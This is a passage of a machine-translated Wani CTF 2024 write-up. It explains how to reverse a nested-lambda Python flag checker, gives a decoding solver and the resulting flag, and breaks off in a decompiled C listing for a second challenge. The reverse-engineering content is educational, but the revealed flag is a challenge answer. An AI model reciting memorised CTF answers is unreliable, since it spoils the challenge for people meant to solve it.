{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-wani-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"56cceee2-6c48-5ce2-ac87-e33c83f1eb66","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-wani-ctf-2024\">original page</a>.</p>\n</blockquote>\n<p>In June 2024, I participated in Wani CTF as part of 0nePadding, and we finished 21st out of 1,493 teams.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8c344335d267f9eb46c93116afb35f2e/e2e58/image-20240625002502276.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACvUlEQVQoz1WTT2gUdxTHF4pgsRAbY3fn/+7s7M5uNmZ3Z/9nk91sNgmrB0FsGjVRD2mKocmpFdoKkZZiwSgeFcSDf4goihUM9tCAAXsSYxEP3kQvKlIET3r6+Ga0lB7evPnN773P+/Lem1B3dzddXV1kMhlqtRqe59FqtcjlclQqFer1OoVCIbBisUipVAri/PPg4GBw7zhOwPBZIVVV0TUNJRIhHA6jKAoRefe9Jt9t2w4SfJ9yXaKW+eFeVVA19X+xvg8ZhoGmG+iGiWFYkmBhaHLW9QDiCqS3tzewhJtGM22iUQtTN9F6dCyJN00zMD8npAo5n06QScQp5BxiyTjZYkYASamq4xe0JPiLiErDc5ju9KMqFn3VFI2vy1jRaBDzH1DVyZcTArCpfjnHnqE2A+US0cw2UaEFCpy4zeYelcX9Be4utdm4YSv1A3kWHk9i6NIyVcO0PgINeWgiv3zwAuNHn7M+Nc+D4WHKlkPE0AN1dixKlwB/3Ovx57EWmz4NMzCdZ+7+bmLZLJa0wjStjwplMn2zc4yvv6W99Iq7Ewswv5PzM022KFrQ07gdCxT+tM9j9bcWn4R6qE55HPqrQ235Bv2Hj6B8tkHmYAjw8814vyzRfvGayb+vs352kjeXtrN2ckQmqaObBlknzrlag3MzdW792mRbb4zOfIXZNQFevUnx2Blyo99hJTIC7AnTv2uMuX9+YPn1BC+fTfBuZRcnZspsCWvo0puSm+Te2A6ufNPg958brKzsYPFSh6k/xhm4co3qqWu0v39ILFP5sDaGEqF9uMjqo6948nQPp483SfhNljtVzEs4rI10WJ4d4sa/wIsCvD0WACsnL9P89g6xdMkHympIQ1XZKdeNyh9jE1b1YDf9gfjQuKzGaCrNUDbJcMml2UxRHEzRP5Im2ZDi1SHc/CiGFeM99dZ5B5lXc1QAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8c344335d267f9eb46c93116afb35f2e/8ac56/image-20240625002502276.webp 240w,\n/static/8c344335d267f9eb46c93116afb35f2e/d3be9/image-20240625002502276.webp 480w,\n/static/8c344335d267f9eb46c93116afb35f2e/e46b2/image-20240625002502276.webp 960w,\n/static/8c344335d267f9eb46c93116afb35f2e/b8544/image-20240625002502276.webp 1069w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8c344335d267f9eb46c93116afb35f2e/8ff5a/image-20240625002502276.png 240w,\n/static/8c344335d267f9eb46c93116afb35f2e/e85cb/image-20240625002502276.png 480w,\n/static/8c344335d267f9eb46c93116afb35f2e/d9199/image-20240625002502276.png 960w,\n/static/8c344335d267f9eb46c93116afb35f2e/e2e58/image-20240625002502276.png 1069w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8c344335d267f9eb46c93116afb35f2e/d9199/image-20240625002502276.png\"\n            alt=\"image-20240625002502276\"\n            title=\"image-20240625002502276\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As usual, I put together a quick writeup.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#lambdarev\">lambda(Rev)</a></li>\n<li><a href=\"#homerev\">home(Rev)</a></li>\n<li><a href=\"#gaterev\">gate(Rev)</a></li>\n<li><a href=\"#threadrev\">Thread(Rev)</a></li>\n<li><a href=\"#tiny-usbforensic\">tiny usb(Forensic)</a></li>\n<li><a href=\"#surveillance-of-susforensic\">Surveillance of sus(Forensic)</a></li>\n<li><a href=\"#codebreakerforensic\">codebreaker(Forensic)</a></li>\n<li><a href=\"#mem-searchforensic\">mem search(Forensic)</a></li>\n<li><a href=\"#i-wanna-be-a-streamerforensic\">I wanna be a streamer(Forensic)</a></li>\n<li><a href=\"#tiny-10pxforensic\">tiny 10px(Forensic)</a></li>\n<li><a href=\"#shmisc\">sh(Misc)</a></li>\n<li><a href=\"#cheat-codemisc\">Cheat Code(Misc)</a></li>\n<li><a href=\"#beginners-aescrypto\">beginners aes(Crypto)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"lambdarev\" style=\"position:relative;\"><a href=\"#lambdarev\" aria-label=\"lambdarev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>lambda(Rev)</h2>\n<blockquote>\n<p>Let’s dance with lambda!</p>\n</blockquote>\n<p>The following Python script was provided as the challenge binary.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> sys\n\nsys<span class=\"token punctuation\">.</span>setrecursionlimit<span class=\"token punctuation\">(</span><span class=\"token number\">10000000</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _0<span class=\"token punctuation\">:</span> _0<span class=\"token punctuation\">(</span><span class=\"token builtin\">input</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _1<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _2<span class=\"token punctuation\">:</span> _2<span class=\"token punctuation\">(</span><span class=\"token string\">'Enter the flag: '</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _3<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _4<span class=\"token punctuation\">:</span> _4<span class=\"token punctuation\">(</span>_1<span class=\"token punctuation\">(</span>_3<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _5<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _6<span class=\"token punctuation\">:</span> _6<span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _7<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _8<span class=\"token punctuation\">:</span> _8<span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _9<span class=\"token punctuation\">:</span> _7<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _10<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _11<span class=\"token punctuation\">:</span> _11<span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _12<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _13<span class=\"token punctuation\">:</span> _13<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _10<span class=\"token punctuation\">(</span>_5<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _14<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _15<span class=\"token punctuation\">:</span> _15<span class=\"token punctuation\">(</span>_12<span class=\"token punctuation\">(</span>_14<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _16<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _17<span class=\"token punctuation\">:</span> _17<span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _18<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _19<span class=\"token punctuation\">:</span> _19<span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _20<span class=\"token punctuation\">:</span> _18<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token number\">123</span> <span class=\"token operator\">^</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _20<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _21<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _22<span class=\"token punctuation\">:</span> _22<span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _23<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _24<span class=\"token punctuation\">:</span> _24<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>_21<span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _16<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _25<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _26<span class=\"token punctuation\">:</span> _26<span class=\"token punctuation\">(</span>_23<span class=\"token punctuation\">(</span>_25<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _27<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _28<span class=\"token punctuation\">:</span> _28<span class=\"token punctuation\">(</span><span class=\"token string\">'16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _29<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _30<span class=\"token punctuation\">:</span> _30<span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _31<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _32<span class=\"token punctuation\">:</span> _32<span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">,</span><span class=\"token number\">36</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _29<span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">'_'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _33<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _34<span class=\"token punctuation\">:</span> _34<span class=\"token punctuation\">(</span>_31<span class=\"token punctuation\">(</span>_33<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _35<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _36<span class=\"token punctuation\">:</span> _36<span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _37<span class=\"token punctuation\">:</span> <span class=\"token keyword\">lambda</span> _38<span class=\"token punctuation\">:</span> _37 <span class=\"token operator\">==</span> _38<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _39<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _40<span class=\"token punctuation\">:</span> _40<span class=\"token punctuation\">(</span><span class=\"token keyword\">print</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _41<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _42<span class=\"token punctuation\">:</span> _42<span class=\"token punctuation\">(</span>_39<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _43<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _44<span class=\"token punctuation\">:</span> _44<span class=\"token punctuation\">(</span>_27<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _45<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _46<span class=\"token punctuation\">:</span> _46<span class=\"token punctuation\">(</span>_43<span class=\"token punctuation\">(</span>_45<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _47<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _48<span class=\"token punctuation\">:</span> _48<span class=\"token punctuation\">(</span>_35<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _49<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _50<span class=\"token punctuation\">:</span> _50<span class=\"token punctuation\">(</span>_47<span class=\"token punctuation\">(</span>_49<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _51<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _52<span class=\"token punctuation\">:</span> _52<span class=\"token punctuation\">(</span><span class=\"token string\">'Correct FLAG!'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _53<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _54<span class=\"token punctuation\">:</span> _54<span class=\"token punctuation\">(</span><span class=\"token string\">'Incorrect'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _55<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _56<span class=\"token punctuation\">:</span> _56<span class=\"token punctuation\">(</span>_41<span class=\"token punctuation\">(</span>_53 <span class=\"token keyword\">if</span> _51 <span class=\"token keyword\">else</span> _55<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">lambda</span> _57<span class=\"token punctuation\">:</span> <span class=\"token keyword\">lambda</span> _58<span class=\"token punctuation\">:</span> _58<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>There are many nested lambdas here, but you do not need to read them too literally. If you pull out the elements from the top in order, the overall behavior becomes fairly intuitive.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token builtin\">input</span>\n<span class=\"token string\">'Enter the flag: '</span>\n<span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join\n<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _9<span class=\"token punctuation\">)</span>\n<span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join\n<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _10<span class=\"token punctuation\">(</span>_5<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join\n<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token number\">123</span> <span class=\"token operator\">^</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _20<span class=\"token punctuation\">)</span>\n<span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join\n<span class=\"token punctuation\">(</span>_21<span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _16<span class=\"token punctuation\">)</span>\n_28<span class=\"token punctuation\">(</span><span class=\"token string\">'16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'</span><span class=\"token punctuation\">)</span>\n<span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join\n<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">,</span><span class=\"token number\">36</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> _29<span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">'_'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n_38<span class=\"token punctuation\">:</span> _37 <span class=\"token operator\">==</span> _38\n_40<span class=\"token punctuation\">(</span><span class=\"token keyword\">print</span><span class=\"token punctuation\">)</span>\n_52<span class=\"token punctuation\">(</span><span class=\"token string\">'Correct FLAG!'</span><span class=\"token punctuation\">)</span>\n_54<span class=\"token punctuation\">(</span><span class=\"token string\">'Incorrect'</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Reading it from the top down, we can see that it performs the following operations.</p>\n<ul>\n<li>Takes input</li>\n<li>Adds 12 to each character</li>\n<li>Subtracts 3 from each character</li>\n<li>XORs each character with 123</li>\n<li>Converts the underscore-separated base-36 string <code class=\"language-text\">16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r</code> to integers</li>\n<li>Compares two values somehow</li>\n<li>Prints <code class=\"language-text\">Correct FLAG!</code> or <code class=\"language-text\">Incorrect</code></li>\n</ul>\n<p>By reversing the sequence we can infer from this, we can write the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">decode_and_verify_flag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    encoded_string <span class=\"token operator\">=</span> <span class=\"token string\">\"16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r\"</span>\n    decoded_step1 <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">,</span> <span class=\"token number\">36</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> encoded_string<span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">'_'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    decoded_step2 <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token number\">123</span> <span class=\"token operator\">^</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> decoded_step1<span class=\"token punctuation\">)</span>\n    decoded_step3 <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> decoded_step2<span class=\"token punctuation\">)</span>\n    decoded_step4 <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> decoded_step3<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>decoded_step4<span class=\"token punctuation\">)</span>\n\ndecode_and_verify_flag<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running it reveals that <code class=\"language-text\">FLAG{l4_1a_14mbd4}</code> is the correct flag.</p>\n<h2 id=\"homerev\" style=\"position:relative;\"><a href=\"#homerev\" aria-label=\"homerev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>home(Rev)</h2>\n<blockquote>\n<p>I obfuscated the function that processes the FLAG. You probably do not want to read it… right!</p>\n</blockquote>\n<p>Decompiling the main function of the challenge binary gives the following result.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int32_t</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> envp<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> fsbase<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> rax <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">void</span> buf<span class=\"token punctuation\">;</span>\n    <span class=\"token 